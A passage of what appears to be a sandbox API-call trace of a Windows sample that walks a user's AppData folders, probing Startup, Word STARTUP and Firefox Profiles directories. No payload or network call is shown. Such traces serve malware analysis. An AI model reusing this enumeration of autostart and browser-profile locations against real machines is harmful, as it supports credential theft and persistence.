Tools", lpFilePart=0x0) returned 0x5c [0068.573] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\administrative tools"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa8031530, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xac6b60f0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.573] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools", lpFilePart=0x0) returned 0x5c [0068.573] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.573] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.573] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools", lpFilePart=0x0) returned 0x5c [0068.573] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.573] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.573] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance", lpFilePart=0x0) returned 0x53 [0068.573] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa8031530, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x7e05e94e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.573] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance", lpFilePart=0x0) returned 0x53 [0068.574] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.574] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.574] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance", lpFilePart=0x0) returned 0x53 [0068.574] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.574] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.574] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpFilePart=0x0) returned 0x4f [0068.574] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa8031530, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xac6b60f0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.574] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpFilePart=0x0) returned 0x4f [0068.574] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.574] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.574] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpFilePart=0x0) returned 0x4f [0068.574] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.575] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.575] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", lpFilePart=0x0) returned 0x47 [0068.575] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.575] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.575] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", lpFilePart=0x0) returned 0x3e [0068.575] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.575] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.575] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Templates", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Templates", lpFilePart=0x0) returned 0x3d [0068.575] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Templates" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\templates"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xaef15879, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.576] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Templates", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Templates", lpFilePart=0x0) returned 0x3d [0068.576] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.576] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.576] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Templates", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Templates", lpFilePart=0x0) returned 0x3d [0068.576] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.576] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.576] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Themes", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Themes", lpFilePart=0x0) returned 0x3a [0068.576] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Themes" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\themes"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa8031530, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xef632f84, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.576] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Themes", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Themes", lpFilePart=0x0) returned 0x3a [0068.577] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.577] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.577] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Themes", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Themes", lpFilePart=0x0) returned 0x3a [0068.577] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.577] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.577] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows", lpFilePart=0x0) returned 0x33 [0068.577] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.577] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.577] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word", lpFilePart=0x0) returned 0x30 [0068.577] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\word"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b63d310, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x3b63d310, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x3b63d310, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.578] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word", lpFilePart=0x0) returned 0x30 [0068.578] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.578] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.578] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", lpFilePart=0x0) returned 0x38 [0068.578] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word\\STARTUP" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\word\\startup"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b63d310, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x3b63d310, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x3b63d310, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.578] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", lpFilePart=0x0) returned 0x38 [0068.578] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.578] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.578] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", lpFilePart=0x0) returned 0x38 [0068.578] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.578] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.579] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word", lpFilePart=0x0) returned 0x30 [0068.579] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.579] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.579] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2b [0068.579] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8ac0 [0068.579] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.579] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla", lpFilePart=0x0) returned 0x29 [0068.579] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdf1f8120, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xe13e61b0, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0xe13e61b0, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.579] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla", lpFilePart=0x0) returned 0x29 [0068.579] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8ac0 [0068.580] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.580] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Extensions", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Extensions", lpFilePart=0x0) returned 0x34 [0068.580] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Extensions" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla\\extensions"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe13e61b0, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xe13e61b0, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0xe13e61b0, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.582] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Extensions", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Extensions", lpFilePart=0x0) returned 0x34 [0068.582] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.582] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.582] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Extensions", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Extensions", lpFilePart=0x0) returned 0x34 [0068.582] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.582] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.582] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox", lpFilePart=0x0) returned 0x31 [0068.582] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla\\firefox"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdf1f8120, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xdf21e280, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0xdf21e280, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.583] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox", lpFilePart=0x0) returned 0x31 [0068.583] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.583] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.583] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpFilePart=0x0) returned 0x3f [0068.583] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla\\firefox\\crash reports"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdf21e280, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xdf21e280, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0xdf21e280, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.583] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpFilePart=0x0) returned 0x3f [0068.584] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.584] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.584] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpFilePart=0x0) returned 0x3f [0068.584] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.584] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.584] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpFilePart=0x0) returned 0x3a [0068.584] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla\\firefox\\profiles"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdf21e280, 